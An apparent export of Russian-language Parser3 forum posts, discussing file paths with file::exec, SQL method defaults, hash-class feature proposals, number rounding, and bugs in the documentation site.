Хм. Вот уж нежданчик. С файлами-то утилит (двумями) всё должно было быть ок, они у изготовителей брались, да и по сопоставлению размеров оно и есть... А вот момент про создание целевой директории руками удивителен и неожиданнен. Обычно парсер справлялся с созданием директорий просто по пути файл-сейв.\
\
Ффух."
"83039","[quote]А вот момент про создание целевой директории руками удивителен и неожиданнен. Обычно парсер справлялся с созданием директорий просто по пути файл-сейв.[/quote]\
\
Парсер справляется с этой задачей, потому что ему устанавливаются соответствующие права на выполнение данных операций (обычно - 755). Если для nconvert таких прав не было установлено, странно ожидать, что nconvert сможет выполнять подобные операции. Что возвращает нас к вопросу о том, что неплохо бы подтянуть теоретическую базу, почитав пару книжек."
"83041","Ошибка при записи файла в несуществующую директорию - это вообще норма. Попробуйте например в консоли сделать так файл \
[code]touch noexistdir/test.txt[/code]\
\
Парсер сам эти директории рекурсивно создаёт, когда вы делаете save. Вишенка для облегчения жизни"
"83045","у $form:поле есть специфическое название, которое идентифицирует его и вносит дополнительное понимание, что значение получено из формы.\
\
Даже если в дальнейшем его каким-то образом модифицировать и переписывать, то все равно останется понимание что первоисточником была форма.\
\
Хотелось бы проносить это понимание сквозь весь код."
"83046","[quote]у $form:поле есть специфическое название, которое идентифицирует его и вносит дополнительное понимание, что значение получено из формы.\
\
Даже если в дальнейшем его каким-то образом модифицировать и переписывать, то все равно останется понимание что первоисточником была форма.\
\
Хотелось бы проносить это понимание сквозь весь код.[/quote]\
\
Я совершенно не понимаю проблемы.\
\
[code]$form[$form:fields]\
…\
$form.field[…]\
[/code]\
\
Единственная тонкость — множественные значения поля, tables.\
Но с ними будут сложности и в «модифицируемой форме».\
\
Плюс помним про nameless-фрагмент."
"83049","с одной стороны:\
- да, это бред иметь возможность изменять read only сущности\
\
с другой:\
1. есть готовый класс, который работает с form и в котором устраивает всё, кроме того, что он завязан на $form, т.к. мне данные приходят иным путём (например в request:body в виде json). на фига мне корячится с его адаптацией, когда было бы здорово подсунуть ему в form то, что он ожидает?\
\
2. я хочу написать тесты, которые тестируют мой код, читающий $form (POST/PUT). без извращений его сделать щас ну никак нельзя.\
\
:)"
"83050","... надо делать не только form, но и возможность «замокать» любой встроенный парсеровский класс. :)"
"83051","[quote]1. есть готовый класс, который работает с form и в котором устраивает всё, кроме того, что он завязан на $form, т.к. мне данные приходят иным путём (например в request:body в виде json). на фига мне корячится с его адаптацией, когда было бы здорово подсунуть ему в form то, что он ожидает?\
\
2. я хочу написать тесты, которые тестируют мой код, читающий $form (POST/PUT). без извращений его сделать щас ну никак нельзя.[/quote]\
\
А почему готовый класс не может ожидать в вход объект, из которого брать данные, вместо того, чтобы лезть напрямую в $form?\
\
Завтра захочется с данными формы что-нибудь делать, перед тем как передавать классу.\
Послезавтра передать на обработку сохранённые данные."
"83052","[quote]А почему готовый класс не может ожидать в вход объект, из которого брать данные, вместо того, чтобы лезть напрямую в $form?[/quote]\
\
уж не знаю, почему ты/я/ещё-кто-нить его таким сделали (а потом стало время тратить на переделку лень)\
:)"
"83053","Документация нам говорит: [url=http://www.parser.ru/docs/lang/obj.htm]результат работы конструктора - созданный объект, обычный результат работы метода игнорируется (никуда не попадает)[/url].\
\
При этом, вплоть до древней версии 3.1.3 код\
[code]@main[]\
$t[^test::create[]]\
[$t.CLASS_NAME]<br/>\
is test: ^if($t is test){y;n}<br/>\
is hash: ^if($t is hash){y;n}\
\
\
@CLASS\
test\
\
@create[]\
$result[^hash::create[]][/code]\
возвращает hash, а не объект test.\
\
Так задумано?"
"83054","Если явно присвоить result, то конструктор вернет объект из result, а не объект класса. В документации не совсем хорошая формулировка. Нормальный результат != result. :)\
\
p.s. Это удобно, если мы делаем класс-фабрику или синглтон."
"83057","Вот кусок логинки:\
[code]^if(def $cookie:some){\
^connect[mysql://l:p@localhost/b?charset=cp1251]{\
$string[^string:sql{SELECT `id` FROM `users` WHERE `something` LIKE '${cookie:something}'}]\
}\
[b]^if(def $string)[/b]{$cookie:another[$string][b]}{$cookie:allcookies[] $cookie:message[Сбой авторизации. Пожалуйста, залогиньтесь] $response:location[https://domain.ru]}\
}[/b][/code]\
Выдаёт ошибку, если не находит в базе соответствий.\
\
С чем это может быть связано? Вроде, нулевая выдача - вполне обычное дело, разве нет?"
"83058","Для int, double и string нужно указывать значения по умолчанию, ибо неясно что возвращать при пустом результате.\
\
[code]^string:sql{\
	…\
}[\
	$.default[…]\
][/code]"
"83062","1. По идее 0 (ноль) и пустая строка - были бы вполне логичными значениями\
2. По-моему отсутствие default, раз уж он необходим - должно вываливаться с ошибкой сразу, на этапе синтаксического анализа, потому что иначе получается нехорошая ситуация с отложенной ошибкой - программист забывает указать default у него всё работает как надо, а потом шмяк и упало\
3. Кто-то вообще использует эти методы (string:sql,int:sql и т.п.)? Есть ли в них практический смысл вместо универсального table:sql?"
"83063","[quote]1. По идее 0 (ноль) и пустая строка - были бы вполне логичными значениями[/quote]\
\
В контексте ожидаемых значений — не всегда.\
\
[quote]2. По-моему отсутствие default, раз уж он необходим - должно вываливаться с ошибкой сразу, на этапе синтаксического анализа, потому что иначе получается нехорошая ситуация с отложенной ошибкой - программист забывает указать default у него всё работает как надо, а потом шмяк и упало[/quote]\
\
Отчасти, да.\
\
Но параметры необязательны и программист виноват сам.\
С тем же успехом можно забыть про limit и offset, и тоже сначала всё будет работать.\
\
[quote]3. Кто-то вообще использует эти методы (string:sql,int:sql и т.п.)? Есть ли в них практический смысл вместо универсального table:sql?[/quote]\
\
Я — использую."
"83069","Возможно, в своей голове.\
\
Структура директорий:\
[code]www\
   scripts\
          parser.sh\
          test\
              first.html\
              second.html\
[/code]\
\
Document-root — www.\
\
parser.sh:\
[code]#!/usr/bin/env bash\
\
pushd /Users/gz/Documents/web/site/www > /dev/null\
/Users/gz/Documents/web/cgi-bin/parser345/parser3.cgi $@\
popd > /dev/null[/code]\
\
Идём в /www/scripts, зовём first.html:\
sh parser.sh ../scripts/test/first.html\
\
first.html:\
[code]@auto[filespec]\
$MAIN:filespec[$filespec]\
\
\
@main[]\
$starter[/../scripts/parser.sh]\
$file[../scripts/test/second.html]\
\
^if(^file.left(1) eq '/'){\
	$root[$request:document-root]\
}{\
	$root[^file:dirname[$filespec]/]\
}\
\
$path[${root}$file]\
\
$result[filespec: $filespec\
root: $root\
file: $file (^if(-f $file)[exists;missing])\
path: $path\
\
exec: $starter $file\
\
$response[^file::exec[$starter;;$file]]\
\
status: $response.status\
stderr: $response.stderr\
text: $response.text][/code]\
\
second.html:\
[code]@main[]\
$now[^date::now[]]\
$log[^now.sql-string[] executed]\
^log.save[/starter.log][/code]\
\
Вопрос: работают ли абсолютные пути (относительно document-root) в вызванном файле?\
Судя по тестам — работает только относительное указание.\
\
Задаём $file[../scripts/test/second.html] получаем корректный вызов:\
[code]$ sh parser.sh ../scripts/test/first.html\
filespec: /Users/gz/Documents/web/site/www/../scripts/test/first.html\
root: /Users/gz/Documents/web/site/www/../scripts/test/\
file: ../scripts/test/second.html (missing)\
path: /Users/gz/Documents/web/site/www/../scripts/test/../scripts/test/second.html\
\
exec: /../scripts/parser.sh ../scripts/test/second.html\
\
status: 0\
stderr: \
text: [/code]\
\
second.html запускается и пишет в лог.\
Сработал относительный путь (что характерно, от document-root, а не от текущего исполняемого файла).\
При этом, текущий файл вызываемого не находит (missing).\
\
Задаём $file[[color=\"#ff0000\"]/[/color]../scripts/test/second.html] получаем некорректный вызов:\
[code]$ sh parser.sh ../scripts/test/first.html\
filespec: /Users/gz/Documents/web/site/www/../scripts/test/first.html\
root: /Users/gz/Documents/web/site/www/\
file: /../scripts/test/second.html (exists)\
path: /Users/gz/Documents/web/site/www//../scripts/test/second.html\
\
exec: /../scripts/parser.sh /../scripts/test/second.html\
\
status: 0\
stderr: \
text: [/code]\
\
second.html не запускается, никах ошибок нет, сам парсер файл видит (exists).\
Абсолютный путь от document-root не сработал.\
\
Быть может сработает относительный [i]путь от текущего исполняемого файла[/i]?\
$file[second.html] получаем ошибку:\
[code]file.missing\
\
read failed: No such file or directory (2), actual filename '/Users/gz/Documents/web/site/www/second.html'[/code]\
Очевидно, файл искался от document-root, а не от текущего файла.\
\
http://www.parser.ru/docs/lang/filecgiexec.htm Говорит нам «Внимание: все пути в парсере указываются относительно текущего исполняемого файла. \
По аналогии, при запуске внешнего скрипта текущим каталогом для него является каталог, где находится этот скрипт».\
Но «[url=http://www.parser.ru/docs/lang/?app1.htm]Абсолютный путь начинается слешем, а файл ищется от корня веб-пространства. Файл по относительному пути ищется от каталога, в котором находится запрошенный документ[/url]» и абсолютный путь в exec прекрасно работает.\
\
Сработал только относительный путь от document-root.\
\
OS X 10.11.4 x64.\
Parser 3.4.5."
"83070","$starter[/../scripts/parser.sh] - это папка рядом с www, а у вас scripts внутри www, то есть должно быть $starter[/scripts/parser.sh]\
\
Еще кстати есть такой механизм:\
http://www.parser.ru/docs/lang/?requestdocroot.htm"
"83071","[quote]$starter[/../scripts/parser.sh] - это папка рядом с www, а у вас scripts внутри www, то есть должно быть $starter[/scripts/parser.sh][/quote]\
\
Это у меня ошибка в сообщении.\
Структура такая:\
[code]www\
scripts\
       parser.sh\
       test\
           first.html\
           second.html[/code]\
scripts и www лежат рядом.\
\
$starter вызывается корректно.\
Не выполняется передаваемый ему по абсолютному пути файл.\
\
[quote]Еще кстати есть такой механизм:\
http://www.parser.ru/docs/lang/?requestdocroot.htm[/quote]\
\
Так у меня нет проблем с document-root'ом, он в порядке.\
\
Я о том, что не выполняются файлы по абсолютным путям.\
И все пути работают от document-root, а не от текущего выполняемого файла, как говорит документация.\
\
Если указать относительный путь исполняемого скрипта в exec — $starter[../scripts/parser.sh] — будет ошибка ненайденного файла, так как поиск будет действительно не от document-root'а, а от текущей директории.\
А вот для пути передаваемого в качестве аргумента файла ситуация обратная: путь должен быть относительным, но от document-root'а."
"83072","[quote]Я о том, что не выполняются файлы по абсолютным путям.\
И все пути работают от document-root, а не от текущего выполняемого файла, как говорит документация.\
[/quote]\
\
По-моему эти предложения противоречат друг другу. :)\
\
В целом, получается такая конструкция в bash скрипте:\
\
/Users/gz/Documents/web/cgi-bin/parser345/parser3.cgi /../scripts/test/second.html \
\
Здесь естественно параметр является абсолютным дисковым путем, как это принято в Unix (а не путем от корня веб-пространства,\
которым считается текущая директория), поэтому файл и не находится.\
\
http://www.parser.ru/docs/lang/?parserscript.htm"
"83073","[quote]В целом, получается такая конструкция в bash скрипте:\
\
/Users/gz/Documents/web/cgi-bin/parser345/parser3.cgi /../scripts/test/second.html \
\
Здесь естественно параметр является абсолютным дисковым путем, как это принято в Unix (а не путем от корня веб-пространства,\
которым считается текущая директория), поэтому файл и не находится.[/quote]\
\
Раз путь относительный, он рассматривается относительно document-root'а.\
Уже яснее.\
\
Не должно ли тогда работать такое:\
$file[/Users/gz/Documents/web/site/scripts/test/second.html]\
->\
/Users/gz/Documents/web/cgi-bin/parser345/parser3.cgi /Users/gz/Documents/web/site/scripts/test/second.html\
?\
Сейчас это даёт неустановленный Unhandled Exception.\
\
Странно, что при /Users/gz/Documents/web/cgi-bin/parser345/parser3.cgi /../scripts/test/second.html нет ругани на ненайденный файл."
"83074","[quote]Не должно ли тогда работать такое:[/quote]\
\
По-идее должно.\
\
[quote]Странно, что при /Users/gz/Documents/web/cgi-bin/parser345/parser3.cgi /../scripts/test/second.html нет ругани на ненайденный файл.[/quote]\
\
У меня есть, и даже в parser3.log пишется...\
\
'/../void.html' read failed: No such file or directory (2), actual filename '/../void.html' [file.missing]"
"83075","[quote]По-идее должно.[/quote]\
\
Да, перепроверил: абсолютный путь от корня работает.\
\
[quote]У меня есть, и даже в parser3.log пишется...[/quote]\
\
Ошибки нет, но в лог пишется:\
[code][Fri May 20 19:13:59 2016] [17232] : '/../scripts/test/second.html' read failed: No such file or directory (2), actual filename '/../scripts/test/second.html' [file.missing] [uri=, method=GET, cl=0][/code]\
\
С путями стало ясно.\
Путь Парсеру — относительно текущей директории или абсолютно от document-root, nix-OS — относительно текущей директории или абсолютно от корня.\
Спасибо."
"83076","[quote]Ошибки нет, но в лог пишется: [/quote]\
\
Ну, bash скрипт-то без ошибки заканчивается, только вызов парсера в нем. А что там с stderr и exit code происходит - это надо уже отдельно смотреть."
"83077","И если переопределить, то таким образом, можно через конструктор отдать не себя ($self) как экземпляр класса, а сразу ссылку на какой-то другой экземпляр другого класса, в данном примере - хеш.\
\
Т.е. понимал это не как баг, а как фичу."
"83078","Известно, что простое использование limit/offset траслируемое в LIMIT, OFFSET в запрос как для MySQL так и для PostGreSQL, с ростом числа страниц и дальности сдвига, нелинейно увеличивает время запроса, т.е. плюсом, безотносительно скорости самой выборки на этом массиве данных.\
\
В контексте недавней статьи на Хабре [url=\"https://habrahabr.ru/post/301044/\"]5 способов пагинации на PostGreSQL[/url]\
\
Автором сказано, что для запроса: [code]\
SELECT * FROM test_table ORDER BY id LIMIT 100000, 30\
[/code]\
\
Относительное время ответа может отрастать до +3-5 сек., в связи с чем раскрывает внутреняя проблема консистентности и скорости при использовании штатного limit/offset\
\
[b]От чего вопрос:[/b] кто-то использовал на Парсерных проектах выборки с пагинацией большого кол-ва страниц, и каким методом пользовался, поделитесь опытом или замерами из практики."
"83081","Доброе утро!\
Можете подсказать, как правильно решить задачу?\
Допустим, надо из числа 777.289165 сделать число 777.289, т.е. тупо обрезать до трех знаков не округляя.\
Неужели придется работать с ним как со строкой для этого?\
\
Сейчас приходится делать так:\
[code]$s[^eval(какое-то_дабл_число / другое_дабл_число)]\
$s[^s.split[.;lh]]\
$s[${s.0}.^s.1.left(3)]\
^s.double(0)[/code]"
"83087","И как в \"простом случае\" работать с финансовой математикой?\
\
Правильно, я понял, что \"на всякий случай\", правильным будет:\
A) Перед вычислением чего либо - все аргументы перед этим округлять round-ом,\
B) Получившийся результат округлять round-ом.\
\
С) Не делать строгих вычислений, на Парсер (т.к. мат.библиотеки и работы с длинными числами нет) - и лучше делать это средствами какой нить РСУБД, как привило, MySQL."
"83090","Сейчас согласно доке есть два варианта отдать посетителю файл\
\
[code]1. $response:body[\
	$.file[path]\
	$.name[name]\
][/code]\
и\
[code]2. $response:body[$file][/code]\
\
Причем при втором варианте передать имя файла можно [i]в некоторых случаях[/i] (например file::load с указанием имени файла). В остальных случаях нужно передавать руками заголовки (ex $reponse.content-disposition[...]). Эта ситуация возникает в полный рост в частности когда нужно передать посетителю результат работы скрипта (file::exec). Можно сохранить результат работы в файл а потом передать как путь, но как то это некрасиво, если сам файл не нужен.\
\
Нельзя ли добавить в response:body (и download соответственно) добавить возможность передать напрямую файл в виде поля хэша, а не только путь к нему?\
\
[code]$response:body[\
	$.file[^file::exec[.....]]\
	$.name[myname]\
	$.content-type[...]\
	...\
][/code]"
"83091","$file[^file::create[^file::exec[.....]; $.name[myname] $.content-type[...] ]]\
$response:body[$file]"
"83092","Как то я пропустил, что file::create может создавать не только текстовые файлы (думаю надо поправить в документации название раздела - \"create. Создание текстового файла\").\
\
Но все равно как то это нелаконично, имхо. Логика, при которой, чтобы передать файл с заданным именем - нужно задать это имя при создании файла - не очевидна. При том что для одного случая из - задать таки имя можно ($.file + $.name)"
"83093","Может у кого-то есть более удобный класс по работе с хешем, вставки в произвольное месте, замена имени ключа и так далее..."
"83097","Нет, но в общем можно сделать ^hash.replace[ключ что;ключ на что;опционально значение]. Если кто-нибудь еще попросит - добавим в to-do."
"83098","1. В файле parser3_4_4.ru.chm документации, на странице «ip2name. Определение домена по IP адресу   [3.4.4]», ошибка в первых двух строках. Вместо «ip-адрес» указанно «доменное.имя».\
2. На каждой странице «html-документации» есть битая ссылка в фразе «In order to add comments you must [url=\"http://www.parser.ru/forum/register.html\"]register[/url]»\
3. В браузере Google Chrom не работает html-документация: не высвечивается левый столбец с деревом разделов."
"83099","Вообще к hash-у много пожеланий.\
Он слишком уж голый из коробки, как велосипед без седушки, доехать можно, но быстро утомляет по дороге, а тем не менее, он используется намного чаще чем таблицы (у меня во всяком случае почти везде hash), но манипуляции с ним - вставки между строк, замена ключа, обратный порядок - это просто слезы и боль. \
\
Мета-обёртки, в любом случае вызывают всяческие циклы и переборы, и 1000 таких операций с коротким ключом-значением (например сетка товаров), увеличивает время до +100-300 ms на ответ...  \
\
Надо или ввести новый класс list/dict на базе hash, но с расширенными функциями, или дополнить hash до минимально-достаточного для пригодности набора.\
\
Просто иначе получается, что Парсер как-то ложится мимо задач. Там где надо высокоуровневые функции от манипуляций с данными из коробки - он не умеет. Там где надо низкоуровневые (типа операции с байтами) - он тоже не умеет.\
\
Получается низкоуровневости быстрой нет, высокоуровневость в базовом аспекте работы со структурой данных - очень скудная."
"83100","[quote]предложение[/quote]\
\
Да, это предложение. У меня такой задачи не возникало, но поскольку можно эффективно реализовать, почему бы не сделать.\
\
Что касается остального, то нужна как минимум формализация, а не общие слова.\
^hash.reverse[] сделать можно, ^hash.insert(pos)[key;value] в общем тоже, но\
это неэффективный метод..."
"83101","[quote]1. В файле parser3_4_4.ru.chm документации, на странице «ip2name. Определение домена по IP адресу [3.4.4]», ошибка в первых двух строках. Вместо «ip-адрес» указанно «доменное.имя».[/quote]\
\
Если в HTML все правильно, то само собой исправится при следующей генерации .chm файлов.\
\
[quote]2. На каждой странице «html-документации» есть битая ссылка в фразе «In order to add comments you must register»\
[/quote]\
\
Добавили редирект.\
\
[quote]3. В браузере Google Chrom не работает html-документация: не высвечивается левый столбец с деревом разделов.[/quote]\
\
У меня работает (C) - https://snag.gy/VQhF8R.jpg. Вопрос всплывал, решили что дело в каких-то расширениях, но так никто из имеющих проблему и не разобрался до конца."
"83103","[quote]Блокировщики рекламы блокируют левую колонку.[/quote]\
\
AdBlock не блокирует... \
\
[quote]Может в адресе фрейма есть что-то типа \"ads\", \"ad\"?[/quote]\
\
Не похоже:\
\
<head>\
<title>Parser 3.4.4</title>\
</head>\
<frameset cols=\"33%,*\"\
          frameborder=\"1\"\
          framespacing=\"1\"\
          border=\"1\">\
<frame name=\"toc\"\
       src=\"parser3.ru_content.htm\">\
<frame name=\"content\"\
       src=\"home.htm\">\
</frameset>\
</html>\
\
Что блокирует вероятно должно уметь показывать конкретное правило?"
"83104","С планшета всё через двойной клик."
"83106","Сейчас зашёл и вижу, что опять левый фрейм не прогрузился. F5 не помогает, но: если  глянуть исходник и отдельно прогрузить либо http://www.parser.ru/docs/lang/parser3.ru_content.htm либо http://www.parser.ru/docs/lang/home.htm, то потом по F5 страница вкачивается полностью. Всё работает.\
\
Заметил ещё, что http://www.parser.ru/docs/lang/home.htm, при загрузке, тут же переадресовывается на http://www.parser.ru/docs/lang/?home.htm (знак вопроса добавился). Может в этом дело?"
"83107","Для Парсера у меня уже давно есть свое определение/позиционирование в его защиту и как аргумент против всего остального: \"Pocket-Rocket\"-карманная ракета.\
\
Обратная и позитивная сторона медали в том, что он все еще очень быстрый и шустрый, и в то же время дает довольно комфортные высокоуровневые абстракции, для написания веб-приложения определнного уровня. Под обычные сайт он более, чем overkiller, просто в последнее время сайты становятся все более \"необычные\".\
\
Ближе к делу...\
Черновая попытка формализации всего в пару методов add/delete для [b]hash[/b]\
и пара \"бонусов\" после, семантика \"швах\", но на правах наброска:\
\
------------- hash.add ------------------------\
[code]\
^hash.add[newkey][value][options] # в выражениях метод возвращает true/false - результата выполнения\
[/code] \
При данном наборе опций, закрывает пожалуй всё и даже больше, что крутится вокруг всех этих insert/update/rename/upsert/insert_before и так далее...\
\
- [b]newkey:[/b]  # ключ (новый ключ, см. options: preserve)\
- [b]value: [/b]  # значение\
- [b]options:[/b] # 3.5 опции, дающие, пожалуй, исчерпывающие манипуляции с хешем \
1 -- [b]$.at[key | index)[/b] # если указан, то вставка на место key или index\
\
2 -- [b]$.place[ before | inpos(default) | after ][/b]   #  если [b]$.at[/b] - не указан, то новый ключ ([b]newkey[/b]) добавляется в начало (before) или конец (after) хеша (как это обычно происходит), в таком случае inpos равносилен after. \
Если [b]$.at[/b] - указан, то вставляет либо вместо старого ключа (inpos - по умолчанию), либо after/before указанного и найденного по [b]$.at[/b] - ключа.\
\
3 -- [b]$.preserve_inpos[ none | key | value ][/b] # при ситуации обновления/замены ключа[значения], т.е. когда указан [b]$.at[/b] + [b]$.place[inpos][/b], есть возможность заменить не всю пару: ключ-значение, а только ключ, или значение, т.е. сохранить в inpos - старое название ключа key, или старое значение value. По-умолчанию (none), который заменит, найденый по [b]$.at[/b] ключ-значение на newkey[value] (опция для наглядности, фактически при $at + place[inpos] - можно было бы опустить один из аргументов у add[newkey][value] что было бы равнозначным намерением, заменить только имя ключа или только значение.\
\
4 -- [b]$.strict_mode( true | false )[/b]  # строгий режим, для операций добавления/изменения:\
если режим включен (true), то:\
--- при добавлении нового ключа ($.at не указан), но если одноименный ключ (newkey), уже существует в хеше, то операций не производится (при ВЫключенном strict_mode, ключ бы просто перезаписался, как это делает обычное присвоение по одноименному ключу)\
--- при замене сущ.ключа ($.at указан), но фактически по $.at такой ключ отсутствует, то так же, операций не производится (при ВЫключенном strict_mode, некорректный $.at просто бы проигнорировался и произошла операция добавление нового ключа.\
------------- /hash.add ------------------------\
\
\
------------- hash.delete, move ------------------------\
[code]\
^hash.delete [key|index) # удалить по индексу или названию ключа \
\
\
^hash.move[key|index)[options] # переместить ключ, \
- options: # по аналогии с add\
  $.at[key|index) \
  $.place[after|before)\
  по аналогии с add - переместить пару ключ-значение в начало или конец хеша, \
  или до/после указанного в $.at ключа\
[/code]\
------------- /hash.delete, move ------------------------\
\
\
\
\
------------- hash.order, cursor ------------------------\
[code]\
^hash.order[order] - изменить порядок следования ключей, тут не знаю, index_asc/desc, key_asc/desc \
\
^hash.cursor[set|first|last|prev|next][key|index)[options] - курсор, как offset у table, \
set устанавливает курсор на key/index, first, last, prev, next - смещает\
[/code] options: \
- [b]$.scroll[ void | sticky | cycle ][/b] - правила скроллинга для next/prev при выходе смещения за пределы диапазона хеша,\
-- void: отдавать пустое (void) значение (стоит по-умолчанию)\
-- sticky: отдавать последнее возможное значение (при prev, это будет first, при next, это будет last)\
-- cycle: скроллить курсор, возвращая смещение к первой позиции или наоборот\
    \
(курсор это уже так, для \"коробочности\" (фреймворкнутости), он базовым методом ^hash.at конечно и так реализуется на раз-два), а еще лучше докрутить до \"паджинации\" - листания пачками и возврата подхеша текущей/выбранной страницы.\
------------- hash.order, cursor ------------------------\
\
\
------------- addons for hash.at, foreach ------------------------\
[code]\
^hash.at[cursor] - доступ по курсору \
^hash.foreach - хетелось бы без error flock (т.е. внутри тела перебора, можно удалить/изменить текущий ключ)\
\
^hash.deepcopy[hash][options] - глубокое копирование \
с разыменовыванием всех подвложенных хешей до нахождения скалярного значения,\
без рекурсивного зацикливания на самого себя\
[/code]\
------------- /addons for hash.at, foreach ------------------------"
"83108","[quote]но: если глянуть исходник и отдельно прогрузить либо http://www.parser.ru/docs/lang/parser3.ru_content.htm либо http://www.parser.ru/docs/lang/home.htm, то потом по F5 страница вкачивается полностью. Всё работает.[/quote]\
\
То, что баг не у нас - мы и не сомневаемся. :) Если есть предложения что-то поменять - готовы попробовать, у нас самих нет идей, что можно сделать.\
\
[quote]Заметил ещё, что http://www.parser.ru/docs/lang/home.htm, при загрузке, тут же переадресовывается на http://www.parser.ru/docs/lang/?home.htm (знак вопроса добавился). Может в этом дело?[/quote]\
\
Ссылка на сайте ведет на http://www.parser.ru/docs/lang/, она никуда не переадресовывается."
"83110","Что я заметил по новому сайту/форуму.\
\
1.Разлогинивает сессию слишком часто по ощущениям. Смотрю, вроде кука не сессионная. (мыло в открытом виде прям в кукис? o'rly? - не, я понимаю, что я в форму и так в запросе шлю, но хоть не с каждым кликом :) а pop3/smtp без ssl уже \"100 лет\" не пользуюсь, как насчет https? \
\
2.За font-family: 'courier new', courier, monospace;\
хочется плакать ))  Я бы приложил картинку, как рендерится этот сам по себе убогий шрифт на ubuntu, но боюсь в \"дизайн-студии\" лучше меня знают, куда \"курьер\" надо положить и прикопать. \
\
Имхо, font-family: monospace; и так покажет \"курьер\" на win-платформах, для всех остальных есть всякие Droid Mono, Liberation Mono, или у кого-что стоит.\
\
user.css - выпилили в современных браузерах, конечно еще работают stylish-плагины, но  все заморочатся.\
\
3. Дико не хватает в форме постинга, кнопы - \"Предпросмотр\", перед тем, как опубликовать. Хочется поформатировать, а не потом перетыкивать на скоряк кнопкой Изменить, пока никто не успел ответить и залочить пост на редактирование."
"83111","Add и куча опций к нему по-моему не сильно «в духе Парсера».\
\
[quote]^hash.delete [key|index) # удалить по индексу или названию ключа[/quote]\
\
Удаление по index — хорошо.\
Я предлагал ещё [url=http://www.parser.ru/forum/?id=82638]удаление списком[/url].\
\
[quote]^hash.move[key|index)[options] # переместить ключ[/quote]\
\
Move — это же delete + insert.\
Если оба смогут работать с позициями, то move избыточен.\
\
[quote]^hash.order[order] - изменить порядок следования ключей, тут не знаю, index_asc/desc, key_asc/desc[/quote]\
\
Есть sort.\
По нескольким полям и с разными типами не посортируешь, но для простых задач хватает. \
\
[quote]^hash.foreach - хетелось бы без error flock (т.е. внутри тела перебора, можно удалить/изменить текущий ключ)[/quote]\
\
Есть в задачах."
"83112","[quote]Мудрёно\
Add и куча опций к нему по-моему не сильно «в духе Парсера».\
[/quote]\
\
\
Я, кстати, принудительно старался именно в \"духе Парсера\" :), заметив, что он скуп на методы, но щедр на опции. Сначала я хотел все привести к методам. Казалось бы, что при одинаковом внутреннем исполнении, сухие методы намного читабельнее по коду.\
\
Предварительно посмотрел на класс List в Golang, и увидел что тот минимум к которому они пришли, это нормальная себе такая пачка методов.\
\
И в то же время, если опции нацелены на более редкое (но нужное порой) - поведение, то аутентичный метод с минимум заданных опций на практике - будет служить свою службу и методов не наплодится. В общем, это вопрос компромисса и семантики.\
\
В любом случае, это предложение - \"болванка\" для дальнейшей дискуссии по оптимизации и утряске. Зато я убежден, что эта болванка вроде как очерчивает ~100% области решений и всего зоопарка логической модели, что крутится вокруг всех этих rename, upsert, и прочего зоопарка, который не без оснований нужен и полезен.\
\
Утрясать и отсекать от этой болванки - только \"за\"!\
\
По крайней мере, этот набор не просто из головы, а из практики.\
\
------------------------------------------\
\
[quote]^hash.move[key|index)[options] # переместить ключ\
Move — это же delete + insert.[/quote]\
\
Да, возможно, но для перемещения тогда между delete и insert - в цикле на кажду итерацию, будут нырки из под капота парсера - наверх: присваивание, резолвинг имени хеша (особенно если он длинный), ну или что-то в таком духе... \
\
Я не знаю подкапотного устройства Парсера, поэтому, по-наитию, решил, что выныривание при такой операции поделит производительность ровно на 2. Это как в аналогии с БД: можно вытянуть данные, произвести арифм.операции, а потом вставить их. Но лучше (если есть возможность) отдать арифметику сразу в запросе, не выниривая из БД.\
\
------------------------------\
\
[quote]^hash.delete [key|index) # удалить по индексу или названию ключа\
Удаление по index — хорошо.\
Я предлагал ещё удаление списком. [/quote]\
\
Мысль о \"пачках\" была, но не стал ее развивать, а так - да.\
\
-----------------------\
\
[quote]^hash.order[order] - изменить порядок следования ключей, тут не знаю, index_asc/desc, key_asc/desc\
Есть sort.[/quote]\
\
Да, проглядел, это лишнее."
"83113","Как сделать парсером округление до 2 знака после разделителя без танцев с бубном.\
\
^math:round(число) не подходит. там округление до целого\
\
Например 2.458"
"83115",")) тормознул...\
\
^var.format[%.2f] выведет и округлит\
\
Извиняюсь))"
"83116","Хотелось бы две разные настройки - для новых сообщений и для редактированных, чтобы когда кто-то написал сообщение и сделал 10 правок - в почту не валилось 11 писем, а только одно"
"83117","[quote]2.За font-family: 'courier new', courier, monospace; хочется плакать )) Я бы приложил картинку, как рендерится этот сам по себе убогий шрифт на ubuntu, но боюсь в \"дизайн-студии\" лучше меня знают, куда \"курьер\" надо положить и прикопать. [/quote]\
\
Неа, не знают. Не было повода. Смотрел на Debian, там выглядит вполне обычно, а вот если оставить только monospace, подставляется шрифт с вдвое меньшей высотой."
"83118","[quote]user.css - выпилили в современных браузерах, конечно еще работают stylish-плагины, но все заморочатся.[/quote]\
\
Может проще удалить шрифт из системы, который так не нравится? ;)"
"83119","когда у вас там скрипт сидит:\
\
[quote]Ссылка на сайте ведет на http://www.parser.ru/docs/lang/, она никуда не переадресовывается.[/quote]\
\
[code]\
<html>\
<head>\
    <META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html;charset=windows-1251\">\
    <meta name=\"keywords\" content=\"\">\
    <title>home</title>\
\
    <script language=\"JavaScript\"><!--\
    if(top.frames.length==0) {\
        top.location.href='./?home.htm'\
    } else {\
        if(document.referrer!='' && 0>document.referrer.indexOf(top.frames[0].location.pathname)) {\
            top.frames[0].location.hash='home.htm'\
        }\
    }\
    //--></script>\
\
</head>\
\
<body bgcolor=\"#FFFFFF\" text=\"black\">\
\
\
\
\
<span style=\"font-fam...\
[/code]\
\
Это по адресу http://www.parser.ru/docs/lang/home.htm"
"83121","[quote]Ссылка на сайте ведет на http://www.parser.ru/docs/lang/, она никуда не переадресовывается.[/quote]\
\
[quote]Это по адресу http://www.parser.ru/docs/lang/home.htm[/quote]\
\
Лично я вижу разницу между /docs/lang/ и /docs/lang/home.htm. Во втором случае - да, есть редирект. Но в первом-то его нет, и ссылка на документацию именно такая."
"83124","В http://www.parser.ru/docs/lang/home.htm впишите примечанием инструкцию что надо делать пользователю в том случае если сразу не загрузилось левое меню. Например так:\
\
[b][i]* Если Вы не видите слева дерева меню документации то нажмите [url=http://www.parser.ru/docs/lang/home.htm]на эту ссылку[/url] *[/i][/b]"
"83125","[quote]# в выражениях метод возвращает true/false - результата выполнения[/quote]\
\
Только в выражениях, к сожалению, нельзя. Результат будет всегда.\
\
^hash.add - вероятно лучше ^hash.put[key;value;options]\
\
$.preserve_inpos[ none | key | value ] - лучше $.keep[ none (default) | key | value ]\
\
$.strict_mode(true/false(default)) - возможно лучше $.overwrite(true(default)/false).\
\
